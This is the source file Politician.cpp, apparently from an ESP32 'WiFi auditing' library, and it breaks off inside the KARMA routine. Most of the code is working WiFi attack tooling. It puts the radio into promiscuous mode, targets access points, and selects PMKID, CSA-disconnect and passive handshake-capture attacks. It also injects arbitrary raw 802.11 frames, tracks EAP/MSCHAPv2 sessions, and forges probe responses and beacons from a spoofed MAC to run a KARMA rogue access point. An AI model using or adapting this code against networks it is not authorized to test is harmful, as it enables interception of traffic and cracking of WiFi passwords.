Politician 1.0.0
WiFi Auditing Library for ESP32
Loading...
Searching...
No Matches
Politician.cpp
Go to the documentation of this file.
1#include "Politician.h"
2#include <string.h>
3#include <esp_log.h>
4
5#ifndef POLITICIAN_NO_DB
7#endif
8
9namespace politician {
10
11// ─── Static members ───────────────────────────────────────────────────────────
12Politician *Politician::_instances[POLITICIAN_MAX_INSTANCES] = {};
13bool Politician::_wifiInitialized = false;
14
15// Default 2.4GHz hopping sequence (channels 1-13)
16const uint8_t Politician::HOP_SEQ[] = {1, 6, 11, 2, 7, 3, 8, 4, 9, 5, 10, 12, 13};
17const uint8_t Politician::HOP_COUNT = sizeof(HOP_SEQ) / sizeof(HOP_SEQ[0]);
18
19// 5GHz channel helper - common channels in most regulatory domains
20static const uint8_t CHANNEL_5GHZ_COMMON[] = {
21 36, 40, 44, 48, // Band 1 (5.15-5.25 GHz) - Universally allowed
22 149, 153, 157, 161, 165 // Band 4 (5.73-5.85 GHz) - UNII-3, widely allowed
23};
24
25// Helper function to check if channel is valid
26static bool isValidChannel(uint8_t ch) {
27 // 2.4GHz channels (1-14)
28 if (ch >= 1 && ch <= 14) return true;
29
30 // 5GHz channels - check common channels
31 for (uint8_t i = 0; i < sizeof(CHANNEL_5GHZ_COMMON); i++) {
32 if (ch == CHANNEL_5GHZ_COMMON[i]) return true;
33 }
34
35 // Additional 5GHz channels (52-144, DFS bands - use with caution)
36 if ((ch >= 52 && ch <= 64) || (ch >= 100 && ch <= 144)) return true;
37
38 return false;
39}
40
41// ─── Constructor ──────────────────────────────────────────────────────────────
43 : _active(false), _channel(1), _rxChannel(1), _hopping(false), _channelTrafficSeen(false),
44 _lastHopMs(0), _lastRssi(0), _hopIndex(0),
45 _m1Locked(false), _m1LockEndMs(0),
46 _probeLocked(false), _probeLockEndMs(0),
47 _customChannelCount(0),
48 _eapolCb(nullptr), _apFoundCb(nullptr), _filterCb(nullptr),
49 _logCb(nullptr), _attackResultCb(nullptr), _ignoreCount(0),
50 _fishState(FISH_IDLE), _fishStartMs(0), _fishRetry(0),
51 _fishSsidLen(0), _fishChannel(1),
52 _fishAuthLogged(false), _fishAssocLogged(false),
53 _csaSecondBurstSent(false),
54 _attackMask(ATTACK_ALL), _disconnectStrategy(STRATEGY_AUTO_FALLBACK), _csaFallbackMs(0),
55 _hasTarget(false), _targetChannel(1),
56 _capturedCount(0)
57{
58 memset(&_stats, 0, sizeof(_stats));
59 memset(_attackOverrides, 0, sizeof(_attackOverrides));
60 memset(_injectQueue, 0, sizeof(_injectQueue));
61 memset(_sessions, 0, sizeof(_sessions));
62 memset(_apCache, 0, sizeof(_apCache));
63 memset(_captured, 0, sizeof(_captured));
64 memset(_targetBssid, 0, sizeof(_targetBssid));
65 memset(_fishBssid, 0, sizeof(_fishBssid));
66 memset(_fishSsid, 0, sizeof(_fishSsid));
67 memset(_ownStaMac, 0, sizeof(_ownStaMac));
68 memset(_ignoreList, 0, sizeof(_ignoreList));
69 memset(_ssidOverrides, 0, sizeof(_ssidOverrides));
70 _ssidOverrideIdx = 0;
71 memset(_eapMethods, 0, sizeof(_eapMethods));
72#ifndef POLITICIAN_NO_MSCHAPV2
73 memset(_msChapSessions, 0, sizeof(_msChapSessions));
74#endif
75#ifndef POLITICIAN_NO_KARMA
76 memset(_karmaSeen, 0, sizeof(_karmaSeen));
77 _karmaEnabled = false;
78 _karmaSeenIdx = 0;
79#endif
80}
81
82// ─── Logging ─────────────────────────────────────────────────────────────────
83void Politician::_log(const char *fmt, ...) {
84#ifndef POLITICIAN_NO_LOGGING
85 char buf[256];
86 va_list args;
87 va_start(args, fmt);
88 vsnprintf(buf, sizeof(buf), fmt, args);
89 va_end(args);
90
91 if (_logCb) {
92 _logCb(buf);
93 } else {
94 printf("%s", buf);
95 }
96#endif
97}
98
99// ─── begin() ─────────────────────────────────────────────────────────────────
101 _cfg = cfg;
102
103 // ── Register this instance in the shared instance registry ───────────────
104 bool registered = false;
105 for (uint8_t i = 0; i < POLITICIAN_MAX_INSTANCES; i++) {
106 if (_instances[i] == this) { registered = true; break; } // already registered (re-begin)
107 }
108 if (!registered) {
109 for (uint8_t i = 0; i < POLITICIAN_MAX_INSTANCES; i++) {
110 if (_instances[i] == nullptr) {
111 _instances[i] = this;
112 registered = true;
113 break;
114 }
115 }
116 if (!registered) {
117 _log("[WiFi] ERR: all %d instance slots occupied\n", POLITICIAN_MAX_INSTANCES);
118 return ERR_MAX_INSTANCES;
119 }
120 }
121
122 // Validate and clamp critical config values
123 if (_cfg.smart_hopping && _cfg.hop_min_dwell_ms >= _cfg.hop_max_dwell_ms) {
124 _log("[Config] WARNING: hop_min_dwell_ms (%u) >= hop_max_dwell_ms (%u); clamping max to min+50ms\n",
126 _cfg.hop_max_dwell_ms = _cfg.hop_min_dwell_ms + 50;
127 }
128 if (_cfg.fish_timeout_ms < 500) {
129 _log("[Config] WARNING: fish_timeout_ms (%u) < 500ms; clamping to 500ms\n", _cfg.fish_timeout_ms);
130 _cfg.fish_timeout_ms = 500;
131 }
132 if (_cfg.csa_wait_ms < 1000) {
133 _log("[Config] WARNING: csa_wait_ms (%u) < 1000ms; clamping to 1000ms\n", _cfg.csa_wait_ms);
134 _cfg.csa_wait_ms = 1000;
135 }
136#ifndef POLITICIAN_NO_KARMA
137 _karmaEnabled = _cfg.karma_enabled;
138#endif
139
140 // ── WiFi driver init — only the first instance does this ─────────────────
141 if (!_wifiInitialized) {
142 wifi_init_config_t wifi_cfg = WIFI_INIT_CONFIG_DEFAULT();
143 if (esp_wifi_init(&wifi_cfg) != ESP_OK) return ERR_WIFI_INIT;
144 if (esp_wifi_set_storage(WIFI_STORAGE_RAM) != ESP_OK) return ERR_WIFI_INIT;
145
146 if (esp_wifi_set_mode(WIFI_MODE_APSTA) != ESP_OK) return ERR_WIFI_INIT;
147 if (esp_wifi_start() != ESP_OK) return ERR_WIFI_INIT;
148
149 esp_log_level_set("wifi", ESP_LOG_NONE);
150
151 wifi_promiscuous_filter_t filt = {
152 .filter_mask = WIFI_PROMIS_FILTER_MASK_MGMT | WIFI_PROMIS_FILTER_MASK_DATA
153 };
154 if (esp_wifi_set_promiscuous_filter(&filt) != ESP_OK) return ERR_WIFI_INIT;
155 if (esp_wifi_set_promiscuous(true) != ESP_OK) return ERR_WIFI_INIT;
156 if (esp_wifi_set_promiscuous_rx_cb(&_promiscuousCb) != ESP_OK) return ERR_WIFI_INIT;
157
158 _wifiInitialized = true;
159 }
160
161 wifi_config_t ap_cfg = {};
162 const char *ap_ssid = _cfg.soft_ap_ssid ? _cfg.soft_ap_ssid : "WiFighter";
163 size_t ap_ssid_len = strlen(ap_ssid);
164 if (ap_ssid_len > 32) ap_ssid_len = 32; // wifi_ap_config_t::ssid is uint8_t[32]
165 memcpy(ap_cfg.ap.ssid, ap_ssid, ap_ssid_len);
166 ap_cfg.ap.ssid_len = (uint8_t)ap_ssid_len;
167 ap_cfg.ap.ssid_hidden = _cfg.soft_ap_ssid ? 0 : 1;
168 ap_cfg.ap.max_connection = 4;
169 ap_cfg.ap.authmode = WIFI_AUTH_OPEN;
170 ap_cfg.ap.channel = 1;
171 ap_cfg.ap.beacon_interval = 1000;
172 esp_wifi_set_config(WIFI_IF_AP, &ap_cfg);
173
174 esp_wifi_get_mac(WIFI_IF_STA, _ownStaMac);
175 _log("[WiFi] STA MAC: %02X:%02X:%02X:%02X:%02X:%02X\n",
176 _ownStaMac[0], _ownStaMac[1], _ownStaMac[2],
177 _ownStaMac[3], _ownStaMac[4], _ownStaMac[5]);
178
179 if (esp_wifi_set_channel(_channel, WIFI_SECOND_CHAN_NONE) != ESP_OK) return ERR_WIFI_INIT;
180
181 // Initialize Thread Safety
182 if (!_lock) {
183 _lock = xSemaphoreCreateRecursiveMutex();
184 if (!_lock) return ERR_WIFI_INIT;
185 }
186
187 // Initialize Async Processing Core (Ringbuffer + Task)
188 if (!_rb) {
189 _rb = xRingbufferCreate(16384, RINGBUF_TYPE_NOSPLIT);
190 if (!_rb) return ERR_WIFI_INIT;
191 }
192
193 if (!_task) {
194 xTaskCreatePinnedToCore(_workerTask, "pol_worker", 4096, this, 5, &_task, 0);
195 if (!_task) return ERR_WIFI_INIT;
196 }
197
198 _initialized = true;
199 _log("[WiFi] Ready — monitor mode ch%d\n", _channel);
200 return OK;
201}
202
203// ─── Active gate ──────────────────────────────────────────────────────────────
204void Politician::setActive(bool active) {
205 if (!_initialized) return;
206 if (_lock && xSemaphoreTakeRecursive(_lock, pdMS_TO_TICKS(100)) == pdTRUE) {
207 _active = active;
208 xSemaphoreGiveRecursive(_lock);
209 }
210 _log("[WiFi] Capture %s\n", active ? "ACTIVE" : "IDLE");
211}
212
213// ─── Channel control ──────────────────────────────────────────────────────────
215 if (!_initialized) return ERR_NOT_ACTIVE;
216 if (!isValidChannel(ch)) return ERR_INVALID_CH;
217 if (_lock && xSemaphoreTakeRecursive(_lock, pdMS_TO_TICKS(100)) == pdTRUE) {
218 _channel = ch;
219 esp_wifi_set_channel(_channel, WIFI_SECOND_CHAN_NONE);
220 xSemaphoreGiveRecursive(_lock);
221 }
222 return OK;
223}
224
226 if (_lock && xSemaphoreTakeRecursive(_lock, pdMS_TO_TICKS(100)) == pdTRUE) {
227 _hopping = false;
228 xSemaphoreGiveRecursive(_lock);
229 }
230 return setChannel(ch);
231}
232
233void Politician::setIgnoreList(const uint8_t (*bssids)[6], uint8_t count) {
234 if (_lock && xSemaphoreTakeRecursive(_lock, pdMS_TO_TICKS(100)) == pdTRUE) {
235 _ignoreCount = (count > MAX_IGNORE) ? MAX_IGNORE : count;
236 for (uint8_t i = 0; i < _ignoreCount; i++) {
237 memcpy(_ignoreList[i], bssids[i], 6);
238 }
239 xSemaphoreGiveRecursive(_lock);
240 }
241 _log("[WiFi] Ignore list updated: %d BSSIDs\n", count);
242}
243
245 if (_lock && xSemaphoreTakeRecursive(_lock, pdMS_TO_TICKS(100)) == pdTRUE) {
246 _capturedCount = 0;
247 xSemaphoreGiveRecursive(_lock);
248 }
249 _log("[WiFi] Captured list cleared\n");
250}
251
252void Politician::markCaptured(const uint8_t *bssid) {
253 if (_lock && xSemaphoreTakeRecursive(_lock, pdMS_TO_TICKS(100)) == pdTRUE) {
254 _markCaptured(bssid);
255 xSemaphoreGiveRecursive(_lock);
256 }
257}
258
259void Politician::startHopping(uint16_t dwellMs) {
260 if (!_initialized) return;
261 if (_lock && xSemaphoreTakeRecursive(_lock, pdMS_TO_TICKS(100)) == pdTRUE) {
262 _hopping = true;
263 _active = true;
264 _hopIndex = 0;
265 _lastHopMs = millis();
266 _channelTrafficSeen = false;
267 if (dwellMs > 0) _cfg.hop_dwell_ms = dwellMs;
268 xSemaphoreGiveRecursive(_lock);
269 }
270 _log("[WiFi] Hopping started dwell=%dms (smart=%s)\n", _cfg.hop_dwell_ms, _cfg.smart_hopping ? "on" : "off");
271}
272
274 if (_lock && xSemaphoreTakeRecursive(_lock, pdMS_TO_TICKS(100)) == pdTRUE) {
275 _hopping = false;
276 xSemaphoreGiveRecursive(_lock);
277 }
278}
279
281 if (_lock && xSemaphoreTakeRecursive(_lock, pdMS_TO_TICKS(100)) == pdTRUE) {
282 if (_fishState != FISH_IDLE) {
283 esp_wifi_disconnect();
284 _fishState = FISH_IDLE;
285 }
286 _hopping = false;
287 _hasTarget = false;
288 _autoTarget = false;
289 _autoTargetActive = false;
290 _m1Locked = false;
291 _probeLocked = false;
292 _active = false;
293 xSemaphoreGiveRecursive(_lock);
294 }
295 // Deregister from the shared instance registry so the ISR skips this instance.
296 for (uint8_t i = 0; i < POLITICIAN_MAX_INSTANCES; i++) {
297 if (_instances[i] == this) {
298 _instances[i] = nullptr;
299 break;
300 }
301 }
302 _initialized = false;
303 _log("[WiFi] Engine stopped\n");
304}
305
306// ─── Attack mask ──────────────────────────────────────────────────────────────
307void Politician::setAttackMask(uint8_t mask) {
308 if (_lock && xSemaphoreTakeRecursive(_lock, pdMS_TO_TICKS(100)) == pdTRUE) {
309 _attackMask = mask;
310 xSemaphoreGiveRecursive(_lock);
311 }
312 _log("[WiFi] Attack mask: PMKID=%d CSA=%d PASSIVE=%d\n",
313 !!(mask & ATTACK_PMKID), !!(mask & ATTACK_CSA), !!(mask & ATTACK_PASSIVE));
314}
315
316void Politician::setAttackMaskForBssid(const uint8_t *bssid, uint8_t mask) {
317 if (_lock && xSemaphoreTakeRecursive(_lock, pdMS_TO_TICKS(100)) == pdTRUE) {
318 for (int i = 0; i < MAX_ATTACK_OVERRIDES; i++) {
319 if (_attackOverrides[i].active && memcmp(_attackOverrides[i].bssid, bssid, 6) == 0) {
320 _attackOverrides[i].mask = mask;
321 xSemaphoreGiveRecursive(_lock);
322 return;
323 }
324 }
325 for (int i = 0; i < MAX_ATTACK_OVERRIDES; i++) {
326 if (!_attackOverrides[i].active) {
327 _attackOverrides[i].active = true;
328 memcpy(_attackOverrides[i].bssid, bssid, 6);
329 _attackOverrides[i].mask = mask;
330 xSemaphoreGiveRecursive(_lock);
331 return;
332 }
333 }
334 xSemaphoreGiveRecursive(_lock);
335 }
336 _log("[Attack] Override table full — ignoring per-BSSID mask request\n");
337}
338
339void Politician::setAttackMaskForSsid(const char *ssid, uint8_t mask, bool substring) {
340 if (!ssid) return;
341 uint8_t slen = (uint8_t)strnlen(ssid, 32);
342 if (_lock && xSemaphoreTakeRecursive(_lock, pdMS_TO_TICKS(100)) == pdTRUE) {
343 for (int i = 0; i < MAX_SSID_OVERRIDES; i++) {
344 if (_ssidOverrides[i].active && _ssidOverrides[i].ssid_len == slen &&
345 memcmp(_ssidOverrides[i].ssid, ssid, slen) == 0) {
346 _ssidOverrides[i].mask = mask;
347 _ssidOverrides[i].substring = substring;
348 xSemaphoreGiveRecursive(_lock);
349 return;
350 }
351 }
352 for (int i = 0; i < MAX_SSID_OVERRIDES; i++) {
353 if (!_ssidOverrides[i].active) {
354 _ssidOverrides[i].active = true;
355 memcpy(_ssidOverrides[i].ssid, ssid, slen);
356 _ssidOverrides[i].ssid[slen] = '\0';
357 _ssidOverrides[i].ssid_len = slen;
358 _ssidOverrides[i].mask = mask;
359 _ssidOverrides[i].substring = substring;
360 xSemaphoreGiveRecursive(_lock);
361 return;
362 }
363 }
364 // Circular eviction: overwrite the oldest entry (round-robin)
365 uint8_t evict = _ssidOverrideIdx % MAX_SSID_OVERRIDES;
366 _ssidOverrideIdx = (evict + 1) % MAX_SSID_OVERRIDES;
367 _ssidOverrides[evict].active = true;
368 memcpy(_ssidOverrides[evict].ssid, ssid, slen);
369 _ssidOverrides[evict].ssid[slen] = '\0';
370 _ssidOverrides[evict].ssid_len = slen;
371 _ssidOverrides[evict].mask = mask;
372 _ssidOverrides[evict].substring = substring;
373 xSemaphoreGiveRecursive(_lock);
374 }
375}
376
378 if (_lock && xSemaphoreTakeRecursive(_lock, pdMS_TO_TICKS(100)) == pdTRUE) {
379 memset(_attackOverrides, 0, sizeof(_attackOverrides));
380 memset(_ssidOverrides, 0, sizeof(_ssidOverrides));
381 _ssidOverrideIdx = 0;
382 xSemaphoreGiveRecursive(_lock);
383 }
384}
385
386uint8_t Politician::_getAttackMask(const uint8_t *bssid) const {
387 for (int i = 0; i < MAX_ATTACK_OVERRIDES; i++) {
388 if (_attackOverrides[i].active && memcmp(_attackOverrides[i].bssid, bssid, 6) == 0)
389 return _attackOverrides[i].mask;
390 }
391
392 char ap_ssid[33] = {};
393 uint8_t ap_ssid_len = 0;
394 _lookupSsid(bssid, ap_ssid, ap_ssid_len);
395 if (ap_ssid_len > 0) {
396 for (int i = 0; i < MAX_SSID_OVERRIDES; i++) {
397 if (!_ssidOverrides[i].active) continue;
398 bool match = false;
399 if (_ssidOverrides[i].substring) {
400 match = strstr(ap_ssid, _ssidOverrides[i].ssid) != nullptr;
401 } else {
402 match = (ap_ssid_len == _ssidOverrides[i].ssid_len &&
403 memcmp(ap_ssid, _ssidOverrides[i].ssid, ap_ssid_len) == 0);
404 }
405 if (match) return _ssidOverrides[i].mask;
406 }
407 }
408 return _attackMask;
409}
410
411// ─── Target mode ──────────────────────────────────────────────────────────────
412Error Politician::setTarget(const uint8_t *bssid, uint8_t channel) {
413 if (!_initialized) return ERR_NOT_ACTIVE;
414 if (!_lock || xSemaphoreTakeRecursive(_lock, pdMS_TO_TICKS(200)) != pdTRUE) return ERR_WIFI_INIT;
415
416 if (_isCaptured(bssid)) {
417 xSemaphoreGiveRecursive(_lock);
419 }
420
421 memcpy(_targetBssid, bssid, 6);
422 _targetChannel = channel;
423 _hasTarget = true;
424
425 for (int i = 0; i < MAX_AP_CACHE; i++) {
426 if (_apCache[i].flags.active && memcmp(_apCache[i].bssid, bssid, 6) == 0) {
427 _apCache[i].last_probe_ms = 0;
428 break;
429 }
430 }
431
432 _hopping = false;
433 _active = true;
434 esp_wifi_set_channel(channel, WIFI_SECOND_CHAN_NONE);
435 _channel = channel;
436 _rxChannel = channel;
437 _log("[WiFi] Target → %02X:%02X:%02X:%02X:%02X:%02X ch%d\n",
438 bssid[0], bssid[1], bssid[2], bssid[3], bssid[4], bssid[5], channel);
439
440 xSemaphoreGiveRecursive(_lock);
441 return OK;
442}
443
445 if (_lock && xSemaphoreTakeRecursive(_lock, pdMS_TO_TICKS(100)) == pdTRUE) {
446 _hasTarget = false;
447 memset(_targetBssid, 0, 6);
448 xSemaphoreGiveRecursive(_lock);
449 }
450 _log("[WiFi] Target cleared — wardriving mode\n");
451}
452
453Error Politician::injectCustomFrame(const uint8_t *payload, size_t len, uint8_t channel, uint32_t lock_ms, bool wait_for_channel) {
454 if (!_initialized) return ERR_NOT_ACTIVE;
455 if (len > 256) return ERR_INVALID_ARG; // Invalid length for queue
456
457 if (!_lock || xSemaphoreTakeRecursive(_lock, pdMS_TO_TICKS(200)) != pdTRUE) return ERR_WIFI_INIT;
458
459 if (!wait_for_channel) {
460 // Synchronous injection
461 esp_wifi_set_channel(channel, WIFI_SECOND_CHAN_NONE);
462 _channel = channel;
463 _rxChannel = channel;
464 _lastHopMs = millis();
465 esp_wifi_80211_tx(WIFI_IF_STA, (void*)payload, len, false);
466 _log("[Inject] Transmitted %d bytes on ch%d\n", (int)len, channel);
467 if (lock_ms > 0) {
468 // Temporarily lock the hopper for this duration
469 _m1Locked = true;
470 _m1LockEndMs = millis() + lock_ms;
471 }
472 } else {
473 // Asynchronous injection (queue)
474 bool queued = false;
475 for (int i = 0; i < MAX_INJECT_QUEUE; i++) {
476 if (!_injectQueue[i].active) {
477 _injectQueue[i].active = true;
478 _injectQueue[i].channel = channel;
479 _injectQueue[i].len = len;
480 _injectQueue[i].lock_ms = lock_ms;
481 memcpy(_injectQueue[i].payload, payload, len);
482 queued = true;
483 _log("[Inject] Queued %d bytes for ch%d\n", (int)len, channel);
484 break;
485 }
486 }
487 if (!queued) {
488 xSemaphoreGiveRecursive(_lock);
489 return ERR_QUEUE_FULL; // Queue full
490 }
491 }
492
493 xSemaphoreGiveRecursive(_lock);
494 return OK;
495}
496
497void Politician::setChannelList(const uint8_t *channels, uint8_t count) {
498 if (_lock && xSemaphoreTakeRecursive(_lock, pdMS_TO_TICKS(100)) == pdTRUE) {
499 if (count == 0 || channels == nullptr) {
500 _customChannelCount = 0;
501 _hopIndex = 0;
502 xSemaphoreGiveRecursive(_lock);
503 _log("[WiFi] Channel list cleared — hopping all channels\n");
504 return;
505 }
506 _customChannelCount = 0;
507 for (uint8_t i = 0; i < count && i < POLITICIAN_MAX_CHANNELS; i++) {
508 if (isValidChannel(channels[i])) {
509 _customChannels[_customChannelCount++] = channels[i];
510 }
511 }
512 _hopIndex = 0;
513 xSemaphoreGiveRecursive(_lock);
514 }
515 _log("[WiFi] Channel list set: %d channels\n", _customChannelCount);
516}
517
518uint8_t Politician::getChannelsSortedByActivity(uint8_t *out, uint8_t count) const {
519 if (!out || count == 0) return 0;
520 uint8_t chs[200];
521 uint32_t cnts[200];
522 uint8_t n = 0;
523 for (uint16_t i = 1; i < 200; i++) {
524 if (_stats.channel_frames[i] > 0) {
525 chs[n] = (uint8_t)i;
526 cnts[n] = _stats.channel_frames[i];
527 n++;
528 }
529 }
530 for (uint8_t i = 1; i < n; i++) {
531 uint8_t kc = chs[i];
532 uint32_t kn = cnts[i];
533 int16_t j = (int16_t)i - 1;
534 while (j >= 0 && cnts[j] < kn) {
535 chs[j + 1] = chs[j];
536 cnts[j + 1] = cnts[j];
537 j--;
538 }
539 chs[j + 1] = kc;
540 cnts[j + 1] = kn;
541 }
542 uint8_t written = (n < count) ? n : count;
543 for (uint8_t i = 0; i < written; i++) out[i] = chs[i];
544 return written;
545}
546
547uint8_t Politician::setAutoChannelList(uint8_t topN) {
549 uint8_t channels[POLITICIAN_MAX_CHANNELS];
550 uint8_t n = getChannelsSortedByActivity(channels, topN);
551 if (n > 0) setChannelList(channels, n);
552 return n;
553}
554
555void Politician::setChannelBands(bool ghz24, bool ghz5) {
556 if (_lock && xSemaphoreTakeRecursive(_lock, pdMS_TO_TICKS(100)) == pdTRUE) {
557 _customChannelCount = 0;
558 if (ghz24) {
559 for (uint8_t i = 0; i < HOP_COUNT && _customChannelCount < POLITICIAN_MAX_CHANNELS; i++) {
560 _customChannels[_customChannelCount++] = HOP_SEQ[i];
561 }
562 }
563 if (ghz5) {
564 for (uint8_t i = 0; i < sizeof(CHANNEL_5GHZ_COMMON) && _customChannelCount < POLITICIAN_MAX_CHANNELS; i++) {
565 _customChannels[_customChannelCount++] = CHANNEL_5GHZ_COMMON[i];
566 }
567 }
568 _hopIndex = 0;
569 xSemaphoreGiveRecursive(_lock);
570 }
571 if (_customChannelCount == 0) {
572 _log("[WiFi] setChannelBands: no bands selected — reverting to default 2.4GHz\n");
573 } else {
574 _log("[WiFi] Channel bands set: %d channels (2.4GHz=%d 5GHz=%d)\n",
575 _customChannelCount, (int)ghz24, (int)ghz5);
576 }
577}
578
580 if (!_initialized) return ERR_NOT_ACTIVE;
581 uint8_t ssid_len = (uint8_t)strlen(ssid);
582 uint8_t found_bssid[6] = {};
583 uint8_t found_channel = 0;
584 bool found = false;
585 int8_t best_rssi = INT8_MIN;
586 if (_lock && xSemaphoreTakeRecursive(_lock, pdMS_TO_TICKS(100)) == pdTRUE) {
587 for (int i = 0; i < MAX_AP_CACHE; i++) {
588 if (!_apCache[i].flags.active) continue;
589 if (_apCache[i].ssid_len != ssid_len) continue;
590 if (memcmp(_apCache[i].ssid, ssid, ssid_len) != 0) continue;
591 if (_apCache[i].rssi > best_rssi) {
592 best_rssi = _apCache[i].rssi;
593 // Copy out before releasing lock — avoids TOCTOU with worker task
594 memcpy(found_bssid, _apCache[i].bssid, 6);
595 found_channel = _apCache[i].channel;
596 found = true;
597 }
598 }
599 xSemaphoreGiveRecursive(_lock);
600 }
601 if (!found) return ERR_NOT_FOUND;
602 return setTarget(found_bssid, found_channel);
603}
604
605void Politician::setAutoTarget(bool enable) {
606 if (_lock && xSemaphoreTakeRecursive(_lock, pdMS_TO_TICKS(100)) == pdTRUE) {
607 _autoTarget = enable;
608 if (!enable) {
609 _hasTarget = false;
610 memset(_targetBssid, 0, 6);
611 _autoTargetActive = false;
612 }
613 xSemaphoreGiveRecursive(_lock);
614 }
615 _log("[AutoTarget] %s\n", enable ? "enabled" : "disabled");
616}
617
618void Politician::_recordClientForAp(const uint8_t *bssid, const uint8_t *sta, int8_t rssi) {
619 for (int i = 0; i < MAX_AP_CACHE; i++) {
620 if (!_apCache[i].flags.active || memcmp(_apCache[i].bssid, bssid, 6) != 0) continue;
621 _apCache[i].flags.has_active_clients = true;
622 for (int j = 0; j < _apCache[i].known_sta_count; j++)
623 if (memcmp(_apCache[i].known_stas[j], sta, 6) == 0) return;
624 if (_apCache[i].known_sta_count < 4) {
625 memcpy(_apCache[i].known_stas[_apCache[i].known_sta_count++], sta, 6);
626 if (_clientFoundCb) {
627 ClientRecord rec;
628 memset(&rec, 0, sizeof(rec));
629 memcpy(rec.bssid, bssid, 6);
630 memcpy(rec.sta, sta, 6);
631 rec.rssi = rssi;
632 rec.first_seen_ms = _apCache[i].first_seen_ms;
633 rec.last_seen_ms = millis();
634 rec.rand_mac = (sta[0] & 0x02) != 0;
635#ifndef POLITICIAN_NO_DB
636 const char *vendor = getVendor(sta);
637 if (vendor) strncpy(rec.vendor, vendor, sizeof(rec.vendor) - 1);
638#endif
639 _clientFoundCb(rec);
640 }
641 }
642 return;
643 }
644}
645
646void Politician::_sendProbeRequest(const uint8_t *bssid, const char *ssid, uint8_t ssid_len) {
647 uint8_t frame[68]; int p = 0; // 24 fixed header + 2+32 SSID IE + 2+8 Rates IE = 68 bytes max
648 frame[p++] = 0x40; frame[p++] = 0x00; // FC: Probe Request
649 frame[p++] = 0x00; frame[p++] = 0x00; // Duration
650 memcpy(frame + p, bssid, 6); p += 6; // DA (directed to AP)
651 memcpy(frame + p, _ownStaMac, 6); p += 6; // SA
652 memcpy(frame + p, bssid, 6); p += 6; // BSSID
653 frame[p++] = 0x00; frame[p++] = 0x00; // Seq
654 frame[p++] = 0x00; // SSID IE tag
655 if (ssid && ssid_len > 0) {
656 if (ssid_len > 32) ssid_len = 32;
657 frame[p++] = ssid_len;
658 memcpy(frame + p, ssid, ssid_len); p += ssid_len;
659 } else {
660 frame[p++] = 0x00; // wildcard (empty SSID)
661 }
662 frame[p++] = 0x01; frame[p++] = 0x08; // Supported Rates IE
663 frame[p++] = 0x82; frame[p++] = 0x84; frame[p++] = 0x8b; frame[p++] = 0x96;
664 frame[p++] = 0x0c; frame[p++] = 0x12; frame[p++] = 0x18; frame[p++] = 0x24;
665 esp_wifi_80211_tx(WIFI_IF_STA, frame, p, false);
666 if (ssid && ssid_len > 0)
667 _log("[Probe] Wordlist probe '%.*s' -> %02X:%02X:%02X:%02X:%02X:%02X\n",
668 ssid_len, ssid, bssid[0], bssid[1], bssid[2], bssid[3], bssid[4], bssid[5]);
669 else
670 _log("[Probe] Wildcard probe -> %02X:%02X:%02X:%02X:%02X:%02X\n",
671 bssid[0], bssid[1], bssid[2], bssid[3], bssid[4], bssid[5]);
672}
673
674// ─── KARMA Rogue AP Responder ─────────────────────────────────────────────────
675#ifndef POLITICIAN_NO_KARMA
676void Politician::_sendKarmaResponse(const uint8_t *client, const char *ssid,
677 uint8_t ssid_len, uint8_t channel, int8_t rssi) {
678 if (ssid_len == 0 || ssid_len > 32) return;
679
680 // Dedup: skip if we already responded to this (client, ssid) pair within 10 seconds
681 uint32_t now = millis();
682 uint8_t slot = 0xFF;
683 for (int i = 0; i < MAX_KARMA_SEEN; i++) {
684 if (memcmp(_karmaSeen[i].client, client, 6) == 0 &&
685 strncmp(_karmaSeen[i].ssid, ssid, ssid_len) == 0 &&
686 _karmaSeen[i].ssid[ssid_len] == '\0') {
687 if (now - _karmaSeen[i].last_ms < 10000u) return; // too soon
688 slot = (uint8_t)i;
689 break;
690 }
691 }
692 if (slot == 0xFF) {
693 // Circular eviction
694 slot = _karmaSeenIdx % (uint8_t)MAX_KARMA_SEEN;
695 _karmaSeenIdx = (_karmaSeenIdx + 1) % MAX_KARMA_SEEN;
696 }
697 memcpy(_karmaSeen[slot].client, client, 6);
698 memcpy(_karmaSeen[slot].ssid, ssid, ssid_len);
699 _karmaSeen[slot].ssid[ssid_len] = '\0';
700 _karmaSeen[slot].last_ms = now;
701
702 // Optionally skip SSIDs already in the AP cache with enc > ENC_OPEN
703 // (it's a known secured network — no point echoing it as open)
704 if (_cfg.karma_open_only) {
705 for (int i = 0; i < MAX_AP_CACHE; i++) {
706 if (!_apCache[i].flags.active) continue;
707 if (_apCache[i].ssid_len != ssid_len) continue;
708 if (memcmp(_apCache[i].ssid, ssid, ssid_len) != 0) continue;
709 if (_apCache[i].enc > ENC_OPEN) return;
710 }
711 }
712
713 // Generate a locally-administered spoofed AP MAC (OUI prefix: 02:CA:FE)
714 uint8_t ap_mac[6];
715 uint32_t rnd = esp_random();
716 ap_mac[0] = 0x02; ap_mac[1] = 0xCA; ap_mac[2] = 0xFE;
717 ap_mac[3] = (rnd >> 16) & 0xFF;
718 ap_mac[4] = (rnd >> 8) & 0xFF;
719 ap_mac[5] = rnd & 0xFF;
720
721 // ── Probe Response ────────────────────────────────────────────────────────
722 uint8_t frame[128]; int p = 0;
723 frame[p++] = 0x50; frame[p++] = 0x00; // FC: Probe Response
724 frame[p++] = 0x00; frame[p++] = 0x00; // Duration
725 memcpy(frame + p, client, 6); p += 6; // DA = probing client
726 memcpy(frame + p, ap_mac, 6); p += 6; // SA = spoofed AP
727 memcpy(frame + p, ap_mac, 6); p += 6; // BSSID = spoofed AP
728 frame[p++] = 0x00; frame[p++] = 0x00; // SeqCtrl
729 memset(frame + p, 0, 8); p += 8; // Timestamp
730 frame[p++] = 0x64; frame[p++] = 0x00; // Beacon interval: 100 TU
731 frame[p++] = 0x21; frame[p++] = 0x04; // Capabilities: ESS + Short Preamble (open)
732 // SSID IE
733 frame[p++] = 0x00; frame[p++] = ssid_len;
734 memcpy(frame + p, ssid, ssid_len); p += ssid_len;
735 // Supported Rates IE
736 frame[p++] = 0x01; frame[p++] = 0x08;
737 frame[p++] = 0x82; frame[p++] = 0x84; frame[p++] = 0x8b; frame[p++] = 0x96;
738 frame[p++] = 0x0c; frame[p++] = 0x18; frame[p++] = 0x30; frame[p++] = 0x6c;
739 // DS Parameter Set IE
740 frame[p++] = 0x03; frame[p++] = 0x01; frame[p++] = channel;
741
742 esp_wifi_80211_tx(WIFI_IF_STA, frame, p, false);
743
744 // ── Beacon (one burst to the same frame, DA flipped to broadcast) ────────
745 frame[0] = 0x80; frame[1] = 0x00; // FC: Beacon
746 memset(frame + 4, 0xFF, 6); // DA: broadcast
